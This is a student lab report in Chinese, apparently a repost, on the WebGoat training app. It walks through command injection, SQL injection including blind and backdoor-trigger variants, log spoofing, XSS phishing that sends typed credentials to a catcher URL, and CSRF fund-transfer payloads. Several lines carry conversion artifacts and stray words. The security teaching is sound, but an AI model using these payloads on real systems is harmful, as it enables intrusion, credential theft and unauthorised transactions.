20165214 2018-2019-2 《網絡對抗技術》Exp9 Web安全基礎 Week13

《網絡對抗技術》Exp9 Web安全基礎 Week13

1、實驗目標與內容

  • 1.實踐內容html

    • (1).本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。
  • 2.一些問題java

    • (1)SQL注入攻擊原理,如何防護
    • 答:SQL注入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至形成破壞後臺數據庫等嚴重後果。防護手段:不容許提交含有特殊字符的字符串,加密數據庫中的內容等。git

    • (2)XSS攻擊的原理,如何防護
    • 答:在網站任何接受正常文本輸入的地方,輸入Javascript腳本,並讓腳本執行。防護手段:表單提交的時候檢測特殊字符的存在;消除網站的XSS漏洞,網站開發者運用轉義安全字符手段等。github

    • (3)CSRF攻擊的原理,如何防護
    • 答:一種對網站的惡意利用也就是人們所知道的釣魚網站,儘管聽起來像跨站腳本(XSS),但XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。對於每個重要的post提交頁面,都使用一個驗證碼。每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定爲CSRF攻擊。按期清理cookie,甚至不使用cookieweb

2、實驗步驟

安裝WebGoat

  • WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。sql

  • 一、在https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下載webgoat-container-7.0.1-war-exec.jar,放到kali中。數據庫

  • 二、在命令行輸入java -jar webgoat-container-7.0.1-war-exec.jar運行Webgoat,等待一小會後出現以下提示則運行成功。
    後端

  • 三、在瀏覽器中輸入http://localhost:8080/WebGoat進入WebGoat登陸界面
    瀏覽器

  • 四、使用頁面下端任意一個帳號密碼進行登陸,能夠看到以下頁面:
    安全

  • 五、接下來就是在左側選擇各類選項進行相應的測試。

各類注入漏洞(Injection Flaws)

一、Command Injection(命令注入)

  • 簡介:命令注入就是經過在要提交的文本框中輸入一些命令,提交後這些命令被執行,從而達到必定的目的。

  • (1)首先能夠看到頁面中有一個複選框,裏面有不少選項,它們都是合法的

  • (2)咱們要作的是經過修改源代碼,在其中一個選項的後面添加一些指令,經過選擇修改後的選項,點擊view達到效果。

  • (3)右擊頁面,選擇inspect Element查看頁面源代碼進行修改,雙擊複選框中任意一欄的代碼進行編輯,添加"& pwd"。

  • (4)在複選框中選擇該項,點擊view,發現添加的命令被成功執行,攻擊成功。

二、Numeric SQL Injection(數字型注入)

  • 簡介:經過在要提交的文本框中加入一些其餘的邏輯條件,來在沒有權限的狀況下繞過權限的限制,獲得更多的東西。

  • (1)首先在頁面中咱們能夠看到這只是一個簡單的天氣查詢,在複選框中選擇一個城市,點擊go後能夠查看所選擇的城市的天氣。這裏複選框中只有四個選項

  • (2)咱們能夠猜想,這裏的數據庫語句應該是在數據庫中查找城市對應編號所在的行,而後輸出天氣。

  • (3)右擊頁面,選擇inspect Element查看頁面源代碼進行修改,找到複選框代碼所在位置後,雙擊對value="102"進行修改,在後面添加or 1=1

  • (4)選擇該城市,點擊go。發現全部城市的天氣信息都被輸出,其中還有兩個是選項裏沒有的。攻擊成功

三、Log Spoofing(日誌欺騙)

  • 簡介:在進行web攻擊後,每每會在日誌文件中留下本身的攻擊痕跡。經過日誌欺騙,能夠僞造日誌,消除或掩蓋本身的攻擊痕跡。

  • (1)在 username 中填入zwy%0d%0aLogin Succeeded for username: admin,其中%0d%0a是回車和換行符號的ASCII碼,密碼任意。點擊登陸,能夠看到以下信息。

  • (2)這樣看起來就好像是有一個帳號admin登陸了網頁。但其實這是假的。攻擊者能夠利用這種方式向日志文件中添加惡意腳本。好比在用戶名輸入admin <script>alert(document.cookie)</script>並提交,那麼管理員頁面就會彈出一個cookies信息。

四、LAB: SQL Injection

  • 這裏有4個步驟,可是Stage 2和Stage 4僅適用於WebGoat的開發版本

  • Stage 1: 字符串型注入

    • 目標是繞過登陸。

    • (1)首先嚐試選擇管理員身份,密碼輸入' or '1' = '1。在密碼輸入的時候會發現這裏設置了長度限制,' or '1' = '1佔13個長度,而密碼框限制了輸入長度爲8

    • (2)根據上面的經驗能夠判斷出須要修改頁面源代碼。

    • (3)右擊頁面,選擇inspect Element查看頁面源代碼。右擊頁面,選擇inspect Element查看頁面源代碼進行修改,修改密碼框的長度爲13。

    • (4)再次在密碼框輸入' or '1' = '1,發現這回沒有被限制。點擊登陸後彈出以下提示,攻擊成功

  • Stage 3: 數字型 SQL 注入

    • 目標:使用員工Larry的身份,查看老闆Neville的信息。

    • (1)先使用Stage 1的方法,繞過登陸,查看Larry的信息。

    • (2)右鍵點擊頁面,選擇inspect Element查看頁面源代碼,找到選項框中的信息Larry Stooge所在的代碼位置。

    • (3)相關人員信息就是經過value中的值進行搜索的。一般來講老闆的工資是最高的,工資字段通常都是salary,因此修改value爲101 or 1=1 order by salary desc,點擊ViewProfile,發現獲得老闆的信息,攻擊成功。

五、String SQL Injection(字符串注入)

  • (1)這個網站能夠查詢用戶的信用卡號碼。這裏較爲簡單,原理與上面的數字型注入類似。

  • (2)在用戶名框輸入' or 1=1--,點擊go,得到全部用戶的信用卡號碼

六、Database Backdoors(數據庫後門)

  • (1)目標:建立一個數據庫後門。嘗試在輸入查詢id的同時注入命令增長工資。

  • (2)什麼是數據庫後門?數據庫一般做爲一個 Web 應用程序的後端來使用。此外,它也用來做爲存儲的媒介。 它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另 一個數據庫操做,如增刪改查。好比:攻擊者能夠建立一個觸發器, 使得建立新用戶時將每一個新用戶的工資增長10000。

  • (3)這個網站的做用是輸入用戶id,返回用戶相應信息。輸入`101進行搜索,能夠看到如今的工資是55000

  • (4)輸入101; update employee set salary=66666修改工資爲66666。

  • (3)輸入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid,完成攻擊。

  • 注:CREATE TRIGGER myBackDoor是建立一個後門。BEFORE是在....以前。這條語句是在插入新的數據以前把新員工的工資項加10000後再放入數據庫。

七、Blind Numeric SQL Injection(數字型盲注)

  • 簡介:通常來講, SQL 注入是沒有明確返回信息的,這時候的注入就叫作盲注。

  • 目標:找到 pins 表中 cc_number 字段值爲 1111222233334444 的記錄中 pin 字段的數值。pin 字段類型爲 int,整型。

  • (1)該網站容許輸入一個賬號,並檢測該賬號是否合法。若是合法(存在),則提示有效,不然提示無效。好比:

  • (2)這裏咱們能夠利用AND。這樣一來當AND兩邊恆爲真時,纔會提示有效,不然提示無效。

  • (3)接下來就是利用數據庫語句進行測試來找出pin的id。在文本框輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )。發現無效,說明≤5000。

  • (4)接下來經過不斷地折半查找,獲得pin爲2364

八、Blind String SQL Injection(字符型盲注)

  • 目標:與7類似,不過這裏的pin字段變成varchar。

  • (1)一樣的,利用AND。首先輸入101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)測試一下pin的長度。顯示

  • (2)繼續進行嘗試,發現長度是4。

  • (3)接着輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )來不斷對第n個字母進行確認。這裏過程瑣碎就再也不列出。最後獲得pin字段是Jill

跨站腳本攻擊(XSS)

一、Phishing with XSS(使用 XSS 釣魚)

  • 簡介:原理:當用戶輸入非法 HTTP 響應時容易形成 XSS,jsp代碼被執行。

  • (1)右擊頁面,選擇inspect Element查看頁面源代碼。右擊頁面,選擇inspect Element查看頁面源代碼進行修改,雙擊其中任意一個部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

  • (2)搜索這段代碼,出現以下界面

  • (3)輸入任意,點擊提交

二、Stored XSS Attacks(存儲型XSS攻擊)

  • 簡介:常見於論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。由於是留言,因此任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行。

  • (1)在title中任意輸入字符,留言板中輸入<script>alert("You've been attacked!!!");</script>,提交。

  • (2)提交後能夠看見在下方出現了一個以title命名的連接,點擊後執行剛剛的html語句,攻擊成功

三、Reflected XSS Attacks(反射型XSS攻擊)

  • 簡介:攻擊者使用攻擊腳本建立一個URL,其訪問另外一個網站,經過各類方式來讓受害者點擊它。

  • (1)直接輸入<script>alert("You've been attacked!!!");</script>,點擊purse便可。

四、Cross Site Request Forgery (CSRF)(跨站請求僞造)

  • (1)簡介:讓受害者加載一個包含網頁的圖片的一種攻擊手段。

跨站點請求僞造(csrf/xsrf)是一種攻擊,誘騙受害者加載包含img連接的頁面,以下所示: 當受害者的瀏覽器試圖呈現加載某個「圖片」(實際上包含了對其餘網站的請求)時,它將向www.mybank.com發出一個帶有指定參數的TransferFunds.do頁面請求。瀏覽器會認爲連接是爲了獲取圖像,即便它其實是一個資金轉移功能。該請求將包括與站點關聯的全部cookie。所以,若是用戶已經對站點進行了身份驗證,而且擁有永久cookie,甚至當前會話cookie,那麼站點將沒法將其與合法的用戶請求區分開來。經過這種方式,攻擊者可讓受害者執行他們不打算執行的操做,例如註銷、購買物品或脆弱網站提供的任何其餘功能。

  • (2)右側Parameters中的src和menu值,分別爲282和900

  • (3)標題任意,內容輸入<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=4000" width="1" height="1" />,而後提交。

  • (4)能夠看到下方出現一個鏈接,能夠點。點擊後觸發CSRF事件,攻擊成功

五、CSRF Prompt By‐Pass(繞過 CSRF 確認)

  • (1)實現跨站請求僞造攻擊(CSRF),包括經過多個請求繞過用戶確認腳本命令

  • (2)與CSRF課程相似,您的目標是向包含多個惡意請求的新聞組發送電子郵件:第一個請求用於轉移資金,第二個請求用於確認第一個請求觸發的提示符。url應該指向攻擊servlet,其中包含這個CSRF-prompt-by-pass課程的屏幕、菜單參數和一個額外的參數「transferFunds」,其中包含一個數值「5000」來啓動傳輸,一個字符串值「CONFIRM」來完成傳輸。您能夠從右邊的插圖中複製課程的參數,建立格式爲「attack?Screen=XXX&menu=YYY&transferFunds=ZZZ」的url。不管誰收到這封電子郵件,而且碰巧在那個時候經過了身份驗證,他的資金就會被轉移。當您認爲攻擊成功時,刷新頁面。

  • (3)在title框中任意輸入,message框中輸入代碼:<iframe src="attack?Screen=297&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=297&menu=900&transferFunds=CONFIRM"> </iframe>

3、遇到的問題

  • 一、啓動WebGoat並登陸後左側沒有相應欄。
  • 解決方法:發現是由於jdk版本不匹配。下載1.8的jdk,設置好環境變量後解決了問題。參考https://www.jianshu.com/p/9ec7838411c8

4、心得體會

  • 經過本次實驗,學習了注入攻擊和XSS攻擊、CSRF攻擊,瞭解了這些攻擊的原理,進行了簡單的嘗試,感受雖然沒有學得很深刻,可是很好地拓寬了知識面。
相關文章
相關標籤/搜索